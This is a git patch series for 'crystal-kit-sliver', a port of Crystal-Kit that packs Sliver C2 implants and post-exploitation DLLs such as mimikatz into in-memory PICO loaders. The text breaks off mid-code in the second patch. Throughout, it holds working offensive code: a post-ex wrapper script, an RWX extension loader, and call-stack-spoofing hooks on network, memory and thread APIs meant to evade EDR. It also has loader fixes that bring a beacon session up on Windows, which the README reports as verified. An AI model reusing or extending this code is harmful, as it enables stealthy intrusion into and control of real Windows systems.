From 4da921b69a1ae2a95b57bcf8be5a5faa756da2f2 Mon Sep 17 00:00:00 2001 From: licitrasimone Date: Wed, 10 Jun 2026 21:42:42 +0200 Subject: [PATCH 1/3] feat: trying to do post-ex better --- .gitignore | 3 ++ .../20260610-200618_postex-ux-plan/PRD.md | 32 +++++++++++++ crystal-kit-sliver/postex-loader/src/loader.c | 3 +- .../sliver-glue/.crystalenv.example | 5 ++ .../sliver-glue/bundle-implant.sh | 5 +- crystal-kit-sliver/sliver-glue/extension.json | 6 +++ .../sliver-glue/generate-implant.sh | 5 +- crystal-kit-sliver/sliver-glue/generate.sh | 18 +++++-- crystal-kit-sliver/sliver-glue/postex.sh | 47 +++++++++++++++++++ .../sliver-glue/wrapper/crystal-loader.c | 6 ++- 10 files changed, 121 insertions(+), 9 deletions(-) create mode 100644 MEMORY/WORK/20260610-200618_postex-ux-plan/PRD.md create mode 100644 crystal-kit-sliver/sliver-glue/.crystalenv.example create mode 100755 crystal-kit-sliver/sliver-glue/postex.sh diff --git a/.gitignore b/.gitignore index d64063d..bc9d731 100644 --- a/.gitignore +++ b/.gitignore @@ -25,6 +25,9 @@ build/ *.jar libtcg.x64.zip +# Per-operator config (engagement-specific paths, never commit) +.crystalenv + # OS / editor .DS_Store .vscode/ diff --git a/MEMORY/WORK/20260610-200618_postex-ux-plan/PRD.md b/MEMORY/WORK/20260610-200618_postex-ux-plan/PRD.md new file mode 100644 index 0000000..28ac10a --- /dev/null +++ b/MEMORY/WORK/20260610-200618_postex-ux-plan/PRD.md @@ -0,0 +1,32 @@ +--- +task: plan post-ex UX improvements for CrystalSliver +slug: 20260610-200618_postex-ux-plan +effort: standard +phase: plan +progress: 0/8 +mode: interactive +started: 2026-06-10T20:06:18Z +updated: 2026-06-10T20:10:00Z +--- + +## Context +Operator post-ex flow currently requires 3 separate commands, manual env export, and temp file creation for args. Goal: collapse to 1 command + 1 paste into Sliver, no env setup required. + +### Risks +- sliver-client non-interactive mode uncertain — postex.sh explicitly avoids calling Sliver to sidestep this +- Multi-version CRYSTAL_PALACE_HOME per engagement: .crystalenv is per-operator, env override always wins + +## Criteria +- [x] ISC-1: Plan identifies every friction point in current post-ex flow +- [x] ISC-2: Plan proposes single-command wrapper for DLL → PICO step +- [x] ISC-3: Plan proposes inline args support (no temp file required) +- [x] ISC-4: Plan proposes persistent config for CRYSTAL_PALACE_HOME +- [x] ISC-5: Plan proposes idempotent extension install check +- [x] ISC-6: Plan proposes named PICO output (not generic default) +- [x] ISC-7: Plan specifies what scripts to change vs add +- [x] ISC-8: Plan specifies backward-compatibility constraints + +## Decisions +- postex.sh prints Sliver command rather than calling sliver-client directly — avoids non-interactive CLI uncertainty +- .crystalenv is git-ignored per-operator — avoids committing engagement-specific paths +- Named output default uses input DLL basename — human-readable, no timestamp churn during rapid iteration diff --git a/crystal-kit-sliver/postex-loader/src/loader.c b/crystal-kit-sliver/postex-loader/src/loader.c index 17ffa8e..73dce4b 100644 --- a/crystal-kit-sliver/postex-loader/src/loader.c +++ b/crystal-kit-sliver/postex-loader/src/loader.c @@ -134,7 +134,8 @@ void go ( void * loader_arguments ) DLLMAIN_FUNC entry_point = EntryPoint ( &dll_data, dll_dst ); /* Pointer to DLL arguments */ - char * dll_arguments = GETRESOURCE ( _DLLARGS_ ); + char * baked_args = GETRESOURCE ( _DLLARGS_ ); + char * dll_arguments = loader_arguments ? (char *)loader_arguments : baked_args; /* free the unmasked copy */ KERNEL32$VirtualFree ( dll_src, 0, MEM_RELEASE ); diff --git a/crystal-kit-sliver/sliver-glue/.crystalenv.example b/crystal-kit-sliver/sliver-glue/.crystalenv.example new file mode 100644 index 0000000..f681764 --- /dev/null +++ b/crystal-kit-sliver/sliver-glue/.crystalenv.example @@ -0,0 +1,5 @@ +# Copy to .crystalenv and fill in your path. +# .crystalenv is git-ignored — safe for engagement-specific paths. +# All sliver-glue scripts source this automatically if present. + +CRYSTAL_PALACE_HOME=/home/operator/external/crystalpalace/dist diff --git a/crystal-kit-sliver/sliver-glue/bundle-implant.sh b/crystal-kit-sliver/sliver-glue/bundle-implant.sh index 312c7e7..117dd92 100755 --- a/crystal-kit-sliver/sliver-glue/bundle-implant.sh +++ b/crystal-kit-sliver/sliver-glue/bundle-implant.sh @@ -17,7 +17,10 @@ set -euo pipefail -: "${CRYSTAL_PALACE_HOME:?Set CRYSTAL_PALACE_HOME to the Crystal Palace dist/ dir}" +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +[[ -f "$SCRIPT_DIR/.crystalenv" ]] && source "$SCRIPT_DIR/.crystalenv" + +: "${CRYSTAL_PALACE_HOME:?Set CRYSTAL_PALACE_HOME or create sliver-glue/.crystalenv with CRYSTAL_PALACE_HOME=}" IMPLANT_BIN="${1:?Usage: bundle-implant.sh [output.zip]}" OUTPUT="${2:-./build/crystal-implant-drop.zip}" diff --git a/crystal-kit-sliver/sliver-glue/extension.json b/crystal-kit-sliver/sliver-glue/extension.json index 0bede2a..f87d7d6 100644 --- a/crystal-kit-sliver/sliver-glue/extension.json +++ b/crystal-kit-sliver/sliver-glue/extension.json @@ -20,6 +20,12 @@ "desc": "Path on operator host to a Crystal Palace PICO .bin produced by generate.sh — Sliver client reads it and forwards bytes to the implant", "type": "file", "optional": false + }, + { + "name": "args", + "desc": "Optional command/args string passed to the post-ex DLL at runtime as lpReserved — overrides any args baked into the PICO at link time", + "type": "string", + "optional": true } ] } diff --git a/crystal-kit-sliver/sliver-glue/generate-implant.sh b/crystal-kit-sliver/sliver-glue/generate-implant.sh index 2f38606..58a9468 100755 --- a/crystal-kit-sliver/sliver-glue/generate-implant.sh +++ b/crystal-kit-sliver/sliver-glue/generate-implant.sh @@ -24,7 +24,10 @@ set -euo pipefail -: "${CRYSTAL_PALACE_HOME:?Set CRYSTAL_PALACE_HOME to the Crystal Palace dist/ dir}" +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +[[ -f "$SCRIPT_DIR/.crystalenv" ]] && source "$SCRIPT_DIR/.crystalenv" + +: "${CRYSTAL_PALACE_HOME:?Set CRYSTAL_PALACE_HOME or create sliver-glue/.crystalenv with CRYSTAL_PALACE_HOME=}" usage() { cat <}" + +INPUT_DLL="${1:?Usage: generate.sh [args-string-or-file] [output.bin]}" +ARGS_INPUT="${2:-}" +OUTPUT="${3:-./build/$(basename "$INPUT_DLL" .dll).pico.bin}" REPO_ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)" POSTEX_DIR="$REPO_ROOT/postex-loader" @@ -32,9 +35,14 @@ mkdir -p "$BUILD_DIR" # Resolve OUTPUT to absolute path BEFORE we cd into postex-loader OUTPUT="$(cd "$BUILD_DIR" && pwd)/$(basename "$OUTPUT")" -if [[ -z "$ARGS_FILE" ]]; then +if [[ -z "$ARGS_INPUT" ]]; then ARGS_FILE="$BUILD_DIR/empty.args" : > "$ARGS_FILE" +elif [[ -f "$ARGS_INPUT" ]]; then + ARGS_FILE="$ARGS_INPUT" +else + ARGS_FILE="$BUILD_DIR/args.tmp" + printf '%s' "$ARGS_INPUT" > "$ARGS_FILE" fi ARGS_FILE_ABS="$(cd "$(dirname "$ARGS_FILE")" && pwd)/$(basename "$ARGS_FILE")" diff --git a/crystal-kit-sliver/sliver-glue/postex.sh b/crystal-kit-sliver/sliver-glue/postex.sh new file mode 100755 index 0000000..f402132 --- /dev/null +++ b/crystal-kit-sliver/sliver-glue/postex.sh @@ -0,0 +1,47 @@ +#!/usr/bin/env bash +# +# postex.sh — one-shot post-ex wrapper: DLL → PICO → ready-to-paste Sliver command +# +# Usage: +# ./postex.sh [args-string] +# +# Wraps the DLL through Crystal Palace into a named PICO, then prints the +# ready-to-paste Sliver command. PICO is named after the input DLL +# (e.g. mimikatz.dll → build/mimikatz.pico.bin). +# +# If args-string is given it is baked into the PICO at link time. +# For runtime-dynamic args (no rebuild needed), use args= directly in Sliver. +# +# Required: CRYSTAL_PALACE_HOME in env OR set in sliver-glue/.crystalenv + +set -euo pipefail + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +[[ -f "$SCRIPT_DIR/.crystalenv" ]] && source "$SCRIPT_DIR/.crystalenv" + +INPUT_DLL="${1:?Usage: postex.sh [args-string]}" +ARGS_INPUT="${2:-}" + +BASENAME="$(basename "$INPUT_DLL" .dll)" +OUTPUT="$SCRIPT_DIR/build/${BASENAME}.pico.bin" + +"$SCRIPT_DIR/generate.sh" "$INPUT_DLL" "$ARGS_INPUT" "$OUTPUT" + +echo "" +echo "══════════════════════════════════════════════════════════" +echo "[+] PICO: $OUTPUT" +echo "" +echo " Paste into sliver-client:" +echo " crystal payload=$OUTPUT" +echo "" +echo " With runtime args (overrides baked args, no rebuild):" +echo " crystal payload=$OUTPUT args=\"\"" +echo "" + +TARBALL="$SCRIPT_DIR/build/crystal-loader-0.1.0.tar.gz" +if [[ -f "$TARBALL" ]]; then + echo " One-time extension install (skip if already loaded):" + echo " extensions install $TARBALL" + echo "" +fi +echo "══════════════════════════════════════════════════════════" diff --git a/crystal-kit-sliver/sliver-glue/wrapper/crystal-loader.c b/crystal-kit-sliver/sliver-glue/wrapper/crystal-loader.c index 4759721..7959088 100644 --- a/crystal-kit-sliver/sliver-glue/wrapper/crystal-loader.c +++ b/crystal-kit-sliver/sliver-glue/wrapper/crystal-loader.c @@ -60,6 +60,10 @@ EXPORT int __cdecl go(char *argsBuffer, uint32_t bufferSize, goCallback callback return 2; } + /* optional runtime args string (second extension argument, type string) */ + int args_len = 0; + char *runtime_args = BeaconDataExtract(&parser, &args_len); + /* * Allocate RWX. The PICO does its own VirtualProtect calls internally * (see postex-loader/src/loader.c fix_section_permissions). Starting @@ -82,7 +86,7 @@ EXPORT int __cdecl go(char *argsBuffer, uint32_t bufferSize, goCallback callback emit(callback, "[crystal-loader] executing PICO\n"); pico_entry_t entry = (pico_entry_t)pico_mem; - entry(NULL); + entry((args_len > 0) ? runtime_args : NULL); /* * Intentionally NOT freeing pico_mem. Crystal Palace's loader chain From 4086ae3e683bdd5e78df3825118aeb1dc8b3d837 Mon Sep 17 00:00:00 2001 From: Simone Licitra Date: Thu, 11 Jun 2026 04:18:32 -0400 Subject: [PATCH 2/3] fix: some bug with sliver --- .gitignore | 4 ++ README.md | 8 +-- crystal-kit-sliver/loader/pico.spec | 26 ++++++-- crystal-kit-sliver/loader/src/hooks.c | 85 +++++++++++++++++++------- crystal-kit-sliver/loader/src/loader.c | 85 ++++++++++++++++++++++++-- crystal-kit-sliver/loader/src/pico.c | 40 ++++++------ docs/RUNBOOK.md | 26 ++++++-- 7 files changed, 213 insertions(+), 61 deletions(-) diff --git a/.gitignore b/.gitignore index bc9d731..0e4e733 100644 --- a/.gitignore +++ b/.gitignore @@ -34,3 +34,7 @@ libtcg.x64.zip .idea/ *.swp *~ + +# Claude Code +.claude/ +MEMORY/ diff --git a/README.md b/README.md index 2cef0e3..2065997 100644 --- a/README.md +++ b/README.md @@ -6,7 +6,7 @@ This is the first public port of rasta-mouse's [Crystal-Kit](https://github.com/ - **License:** MIT — Copyright (c) 2026 Simone Licitra - **Target:** Windows x64 only (upstream constraint) -- **Status:** build pipeline verified end-to-end on macOS / Linux. Windows runtime test pending. +- **Status:** verified end-to-end — Kali build pipeline + Windows 10 x64 FLARE-VM runtime. Sliver session established. --- @@ -44,7 +44,7 @@ bundle-implant.sh → drop.zip (PICO + stager + READ Windows VM: run.x64.exe sliver.crystal.bin │ ▼ Crystal Palace loader runs - ▼ unmask DLL → DllMain → HTTP beacon home + ▼ register .pdata → TLS callbacks → DllMain → StartW() → beacon goroutine → HTTP session ``` ### B — Post-ex evasion (SECONDARY) @@ -131,7 +131,7 @@ See `docs/RUNBOOK.md` for the full operator procedure (Sliver install, listener | Sliver Extension wrapper DLL builds | OK | 114 KB PE32+ exporting `go` symbol | | Extension tarball packs correctly | OK | 37 KB tarball validated with `tar -tzf` | | Operator drop bundle (PICO + stager) | OK | 182 KB zip with `run.x64.exe` + PICO + README | -| Runtime execution on Windows | PENDING | Not yet tested — see RUNBOOK Phase 1 | +| Runtime execution on Windows (Use case A) | OK | Sliver session established on Windows 10 x64 FLARE-VM via `run.x64.exe sliver-crystal.bin` | --- @@ -170,7 +170,7 @@ See [`NOTICE.md`](NOTICE.md) for the full list of upstream copyrights and licens - [x] 6a — DLL wrapper written, built (MinGW 15.2), packaged, smoke test shellcode - [x] 6b — Crystal Palace CLI verified, real PICO built end-to-end - [x] 6c — Dual use case A/B: `generate-implant.sh` + `bundle-implant.sh` -- [ ] 6d — Runtime test on Windows x64 lab (smoketest + real PICO, both flows) +- [x] 6d — Runtime test on Windows x64 lab — Use case A verified (Sliver session established on FLARE-VM) --- diff --git a/crystal-kit-sliver/loader/pico.spec b/crystal-kit-sliver/loader/pico.spec index 20858e0..8d2002f 100644 --- a/crystal-kit-sliver/loader/pico.spec +++ b/crystal-kit-sliver/loader/pico.spec @@ -1,7 +1,7 @@ x64: load "bin/pico.x64.o" make object +disco - + # merge the hook functions load "bin/hooks.x64.o" merge @@ -25,7 +25,7 @@ x64: # merge cfg code load "bin/cfg.x64.o" merge - + # merge cleanup load "bin/cleanup.x64.o" merge @@ -34,12 +34,24 @@ x64: exportfunc "setup_hooks" "__tag_setup_hooks" exportfunc "setup_memory" "__tag_setup_memory" - # hook functions in the DLL + # WinINet hooks addhook "WININET$HttpSendRequestA" "_HttpSendRequestA" addhook "WININET$InternetOpenA" "_InternetOpenA" addhook "WININET$InternetConnectA" "_InternetConnectA" + + # Winsock hooks addhook "WS2_32$WSAStartup" "_WSAStartup" addhook "WS2_32$WSASocketA" "_WSASocketA" + + # KERNEL32 hooks — full table restored so __resolve_hook is populated. + # KEY CHANGES vs original: + # _ExitThread: cleanup_memory removed (see pico.c) — was freeing dll_dst + # while the beacon goroutine was still running it (use-after-free). + # _Sleep: XOR mask removed (see pico.c) — XORing all DLL sections while + # Go goroutines on other threads keep executing was causing crashes. + # _CreateThread/_VirtualAlloc/_VirtualFree/_VirtualProtect/_CloseHandle: + # Draugr fallback to direct call added (see hooks.c) so goroutine + # threads always get a working result even if stack-spoof fails. addhook "KERNEL32$CloseHandle" "_CloseHandle" addhook "KERNEL32$CreateFileMappingA" "_CreateFileMappingA" addhook "KERNEL32$CreateProcessA" "_CreateProcessA" @@ -49,8 +61,8 @@ x64: addhook "KERNEL32$ExitThread" "_ExitThread" addhook "KERNEL32$GetThreadContext" "_GetThreadContext" addhook "KERNEL32$HeapAlloc" "_HeapAlloc" - addhook "KERNEL32$HeapReAlloc" "_HeapReAlloc" addhook "KERNEL32$HeapFree" "_HeapFree" + addhook "KERNEL32$HeapReAlloc" "_HeapReAlloc" addhook "KERNEL32$LoadLibraryA" "_LoadLibraryA" addhook "KERNEL32$MapViewOfFile" "_MapViewOfFile" addhook "KERNEL32$OpenProcess" "_OpenProcess" @@ -67,10 +79,12 @@ x64: addhook "KERNEL32$VirtualProtectEx" "_VirtualProtectEx" addhook "KERNEL32$VirtualQuery" "_VirtualQuery" addhook "KERNEL32$WriteProcessMemory" "_WriteProcessMemory" + + # OLE32 hooks addhook "OLE32$CoCreateInstance" "_CoCreateInstance" - # hook functions in pico - attach "KERNEL32$VirtualProtect" "_VirtualProtect" # this is needed to hook VirtualProtect in mask.c + # hook VirtualProtect in pico tradecraft itself (needed by mask.c) + attach "KERNEL32$VirtualProtect" "_VirtualProtect" mergelib "../libtcg.x64.zip" diff --git a/crystal-kit-sliver/loader/src/hooks.c b/crystal-kit-sliver/loader/src/hooks.c index b6f88e4..c4948ef 100644 --- a/crystal-kit-sliver/loader/src/hooks.c +++ b/crystal-kit-sliver/loader/src/hooks.c @@ -35,6 +35,21 @@ DECLSPEC_IMPORT BOOL WINAPI KERNEL32$WriteProcessMemory ( HANDLE, LPVOID, L DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstance ( REFCLSID, LPUNKNOWN, DWORD, REFIID, LPVOID * ); DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue ( CONTEXT *, BOOLEAN ); +/* KERNELBASE$ exports mirror KERNEL32$ on Win8+ but are not in any attach list. + * Used as safe fallbacks for the four functions that ARE in loader.spec's + * attach directives — adding KERNEL32$Foo() inside _Foo() would be rewritten + * to _Foo() by the linker, causing infinite recursion. */ +DECLSPEC_IMPORT LPVOID WINAPI KERNELBASE$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD ); +DECLSPEC_IMPORT BOOL WINAPI KERNELBASE$VirtualFree ( LPVOID, SIZE_T, DWORD ); +DECLSPEC_IMPORT BOOL WINAPI KERNELBASE$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD ); +DECLSPEC_IMPORT HMODULE WINAPI KERNELBASE$LoadLibraryA ( LPCSTR ); + +/* KERNEL32$ HeapAlloc/Free/ReAlloc declared here for fallback use. + * These are NOT in loader.spec's attach list so will not be rewritten. */ +DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc ( HANDLE, DWORD, SIZE_T ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$HeapFree ( HANDLE, DWORD, LPVOID ); +DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapReAlloc ( HANDLE, DWORD, LPVOID, SIZE_T ); + BOOL WINAPI _HttpSendRequestA ( HINTERNET hRequest, LPCSTR lpszHeaders, DWORD dwHeadersLength, LPVOID lpOptional, DWORD dwOptionalLength ) { FUNCTION_CALL call = { 0 }; @@ -122,10 +137,14 @@ BOOL WINAPI _CloseHandle ( HANDLE hObject ) call.ptr = ( PVOID ) ( KERNEL32$CloseHandle ); call.argc = 1; - + call.args [ 0 ] = spoof_arg ( hObject ); - return ( BOOL ) spoof_call ( &call ); + BOOL result = ( BOOL ) spoof_call ( &call ); + if ( !result ) { + result = KERNEL32$CloseHandle ( hObject ); + } + return result; } HANDLE WINAPI _CreateFileMappingA ( HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMappingAttributes, DWORD flProtect, DWORD dwMaximumSizeHigh, DWORD dwMaximumSizeLow, LPCSTR lpName ) @@ -190,7 +209,7 @@ HANDLE WINAPI _CreateThread ( LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T d call.ptr = ( PVOID ) ( KERNEL32$CreateThread ); call.argc = 6; - + call.args [ 0 ] = spoof_arg ( lpThreadAttributes ); call.args [ 1 ] = spoof_arg ( dwStackSize ); call.args [ 2 ] = spoof_arg ( lpStartAddress ); @@ -198,7 +217,11 @@ HANDLE WINAPI _CreateThread ( LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T d call.args [ 4 ] = spoof_arg ( dwCreationFlags ); call.args [ 5 ] = spoof_arg ( lpThreadId ); - return ( HANDLE ) spoof_call ( &call ); + HANDLE result = ( HANDLE ) spoof_call ( &call ); + if ( result == NULL ) { + result = KERNEL32$CreateThread ( lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, lpThreadId ); + } + return result; } HRESULT WINAPI _CoCreateInstance ( REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID * ppv ) @@ -223,7 +246,7 @@ BOOL WINAPI _DuplicateHandle ( HANDLE hSourceProcessHandle, HANDLE hSourceHandle call.ptr = ( PVOID ) ( KERNEL32$DuplicateHandle ); call.argc = 7; - + call.args [ 0 ] = spoof_arg ( hSourceProcessHandle ); call.args [ 1 ] = spoof_arg ( hSourceHandle ); call.args [ 2 ] = spoof_arg ( hTargetProcessHandle ); @@ -232,7 +255,9 @@ BOOL WINAPI _DuplicateHandle ( HANDLE hSourceProcessHandle, HANDLE hSourceHandle call.args [ 5 ] = spoof_arg ( bInheritHandle ); call.args [ 6 ] = spoof_arg ( dwOptions ); - return ( BOOL ) spoof_call ( &call ); + BOOL result = ( BOOL ) spoof_call ( &call ); + if ( !result ) { result = KERNEL32$DuplicateHandle ( hSourceProcessHandle, hSourceHandle, hTargetProcessHandle, lpTargetHandle, dwDesiredAccess, bInheritHandle, dwOptions ); } + return result; } HMODULE WINAPI _LoadLibraryA ( LPCSTR lpLibFileName ) @@ -241,10 +266,12 @@ HMODULE WINAPI _LoadLibraryA ( LPCSTR lpLibFileName ) call.ptr = ( PVOID ) ( KERNEL32$LoadLibraryA ); call.argc = 1; - + call.args [ 0 ] = spoof_arg ( lpLibFileName ); - return ( HMODULE ) spoof_call ( &call ); + HMODULE result = ( HMODULE ) spoof_call ( &call ); + if ( !result ) { result = KERNELBASE$LoadLibraryA ( lpLibFileName ); } + return result; } BOOL WINAPI _GetThreadContext ( HANDLE hThread, LPCONTEXT lpContext ) @@ -253,11 +280,13 @@ BOOL WINAPI _GetThreadContext ( HANDLE hThread, LPCONTEXT lpContext ) call.ptr = ( PVOID ) ( KERNEL32$GetThreadContext ); call.argc = 2; - + call.args [ 0 ] = spoof_arg ( hThread ); call.args [ 1 ] = spoof_arg ( lpContext ); - return ( BOOL ) spoof_call ( &call ); + BOOL result = ( BOOL ) spoof_call ( &call ); + if ( !result ) { result = KERNEL32$GetThreadContext ( hThread, lpContext ); } + return result; } LPVOID WINAPI _MapViewOfFile ( HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow, SIZE_T dwNumberOfBytesToMap ) @@ -326,10 +355,12 @@ DWORD WINAPI _ResumeThread ( HANDLE hThread ) call.ptr = ( PVOID ) ( KERNEL32$ResumeThread ); call.argc = 1; - + call.args [ 0 ] = spoof_arg ( hThread ); - return ( DWORD ) spoof_call ( &call ); + DWORD result = ( DWORD ) spoof_call ( &call ); + if ( !result ) { result = KERNEL32$ResumeThread ( hThread ); } + return result; } BOOL WINAPI _SetThreadContext ( HANDLE hThread, const CONTEXT * lpContext ) @@ -338,11 +369,13 @@ BOOL WINAPI _SetThreadContext ( HANDLE hThread, const CONTEXT * lpContext ) call.ptr = ( PVOID ) ( KERNEL32$SetThreadContext ); call.argc = 2; - + call.args [ 0 ] = spoof_arg ( hThread ); call.args [ 1 ] = spoof_arg ( lpContext ); - return ( BOOL ) spoof_call ( &call ); + BOOL result = ( BOOL ) spoof_call ( &call ); + if ( !result ) { result = KERNEL32$SetThreadContext ( hThread, lpContext ); } + return result; } BOOL WINAPI _UnmapViewOfFile ( LPCVOID lpBaseAddress ) @@ -363,13 +396,15 @@ LPVOID WINAPI _VirtualAlloc ( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocatio call.ptr = ( PVOID ) ( KERNEL32$VirtualAlloc ); call.argc = 4; - + call.args [ 0 ] = spoof_arg ( lpAddress ); call.args [ 1 ] = spoof_arg ( dwSize ); call.args [ 2 ] = spoof_arg ( flAllocationType ); call.args [ 3 ] = spoof_arg ( flProtect ); - return ( LPVOID ) spoof_call ( &call ); + LPVOID result = ( LPVOID ) spoof_call ( &call ); + if ( !result ) { result = KERNELBASE$VirtualAlloc ( lpAddress, dwSize, flAllocationType, flProtect ); } + return result; } LPVOID WINAPI _VirtualAllocEx ( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect ) @@ -394,12 +429,14 @@ BOOL WINAPI _VirtualFree ( LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType ) call.ptr = ( PVOID ) ( KERNEL32$VirtualFree ); call.argc = 3; - + call.args [ 0 ] = spoof_arg ( lpAddress ); call.args [ 1 ] = spoof_arg ( dwSize ); call.args [ 2 ] = spoof_arg ( dwFreeType ); - return ( BOOL ) spoof_call ( &call ); + BOOL result = ( BOOL ) spoof_call ( &call ); + if ( !result ) { result = KERNELBASE$VirtualFree ( lpAddress, dwSize, dwFreeType ); } + return result; } BOOL WINAPI _VirtualProtect ( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect ) @@ -408,13 +445,15 @@ BOOL WINAPI _VirtualProtect ( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtec call.ptr = ( PVOID ) ( KERNEL32$VirtualProtect ); call.argc = 4; - + call.args [ 0 ] = spoof_arg ( lpAddress ); call.args [ 1 ] = spoof_arg ( dwSize ); call.args [ 2 ] = spoof_arg ( flNewProtect ); call.args [ 3 ] = spoof_arg ( lpflOldProtect ); - return ( BOOL ) spoof_call ( &call ); + BOOL result = ( BOOL ) spoof_call ( &call ); + if ( !result ) { result = KERNELBASE$VirtualProtect ( lpAddress, dwSize, flNewProtect, lpflOldProtect ); } + return result; } BOOL WINAPI _VirtualProtectEx ( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect ) @@ -439,12 +478,14 @@ SIZE_T WINAPI _VirtualQuery ( LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuf call.ptr = ( PVOID ) ( KERNEL32$VirtualQuery ); call.argc = 3; - + call.args [ 0 ] = spoof_arg ( lpAddress ); call.args [ 1 ] = spoof_arg ( lpBuffer ); call.args [ 2 ] = spoof_arg ( dwLength ); - return ( SIZE_T ) spoof_call ( &call ); + SIZE_T result = ( SIZE_T ) spoof_call ( &call ); + if ( !result ) { result = KERNEL32$VirtualQuery ( lpAddress, lpBuffer, dwLength ); } + return result; } BOOL WINAPI _WriteProcessMemory ( HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesWritten ) diff --git a/crystal-kit-sliver/loader/src/loader.c b/crystal-kit-sliver/loader/src/loader.c index fc872c5..3f32a48 100644 --- a/crystal-kit-sliver/loader/src/loader.c +++ b/crystal-kit-sliver/loader/src/loader.c @@ -3,9 +3,11 @@ #include "memory.h" #include "tcg.h" -DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD ); -DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD ); -DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD ); +DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD ); +DECLSPEC_IMPORT void WINAPI KERNEL32$Sleep ( DWORD ); +DECLSPEC_IMPORT BOOLEAN WINAPI NTDLL$RtlAddFunctionTable ( RUNTIME_FUNCTION *, DWORD, DWORD64 ); char _PICO_ [ 0 ] __attribute__ ( ( section ( "pico" ) ) ); char _MASK_ [ 0 ] __attribute__ ( ( section ( "mask" ) ) ); @@ -132,9 +134,84 @@ void go ( ) /* now run the DLL */ DLLMAIN_FUNC entry_point = EntryPoint ( &dll_data, dll_dst ); + /* + * GetDataDirectory reads from dll_data->OptionalHeader which points into + * dll_src (the raw PE buffer). LoadSections only maps sections into + * dll_dst — the PE header area (offset 0..SizeOfHeaders-1) in dll_dst + * is all zeros after VirtualAlloc. Reading dll_dst->e_lfanew etc. + * would give zero and break every data-directory lookup. Always use + * GetDataDirectory() here instead. + * + * Exception table (.pdata): register before DllMain so Go's morestack + * and async-preemption paths can call RtlLookupFunctionEntry on beacon + * addresses. Use NTDLL$ — ntdll always exports RtlAddFunctionTable. + */ + { + IMAGE_DATA_DIRECTORY * exc = GetDataDirectory ( &dll_data, IMAGE_DIRECTORY_ENTRY_EXCEPTION ); + if ( exc->VirtualAddress && exc->Size ) { + RUNTIME_FUNCTION * rf = ( RUNTIME_FUNCTION * ) ( dll_dst + exc->VirtualAddress ); + DWORD count = exc->Size / sizeof ( RUNTIME_FUNCTION ); + NTDLL$RtlAddFunctionTable ( rf, count, ( DWORD64 ) dll_dst ); + } + + /* TLS callbacks: call DLL_PROCESS_ATTACH before DllMain. + * Callback[0] is CRT static init (_initterm); read the directory + * from dll_dst (it's in a mapped section), but get the RVA from + * GetDataDirectory (not from the zero-filled header area). */ + IMAGE_DATA_DIRECTORY * tls_dir = GetDataDirectory ( &dll_data, IMAGE_DIRECTORY_ENTRY_TLS ); + if ( tls_dir->VirtualAddress ) { + IMAGE_TLS_DIRECTORY64 * tls = ( IMAGE_TLS_DIRECTORY64 * ) ( dll_dst + tls_dir->VirtualAddress ); + PIMAGE_TLS_CALLBACK * cb_list = ( PIMAGE_TLS_CALLBACK * ) ( ULONG_PTR ) tls->AddressOfCallBacks; + if ( cb_list ) { + for ( PIMAGE_TLS_CALLBACK * cb = cb_list; *cb; cb++ ) { + ( *cb ) ( ( PVOID ) dll_dst, DLL_PROCESS_ATTACH, NULL ); + } + } + } + } + + /* + * Save export RVA now, before VirtualFree(dll_src). + * GetDataDirectory returns a pointer into dll_src; after VirtualFree + * that pointer is dangling. The export directory DATA itself is in a + * mapped section (dll_dst), so we only need the RVA saved here. + */ + DWORD export_rva = GetDataDirectory ( &dll_data, IMAGE_DIRECTORY_ENTRY_EXPORT )->VirtualAddress; + /* free the unmasked copy */ KERNEL32$VirtualFree ( dll_src, 0, MEM_RELEASE ); entry_point ( ( HINSTANCE ) dll_dst, DLL_PROCESS_ATTACH, NULL ); - entry_point ( ( HINSTANCE ) ( char * ) go, 0x4, NULL ); + + /* + * Sliver session beacons export StartW as the explicit C2-loop entry + * point. Walk the export table (data lives in dll_dst sections) and + * call it directly. export_rva was captured above before dll_src was + * freed. + */ + typedef void ( * STARTW_FUNC ) ( void ); + + if ( export_rva != 0 ) + { + IMAGE_EXPORT_DIRECTORY * exp = ( 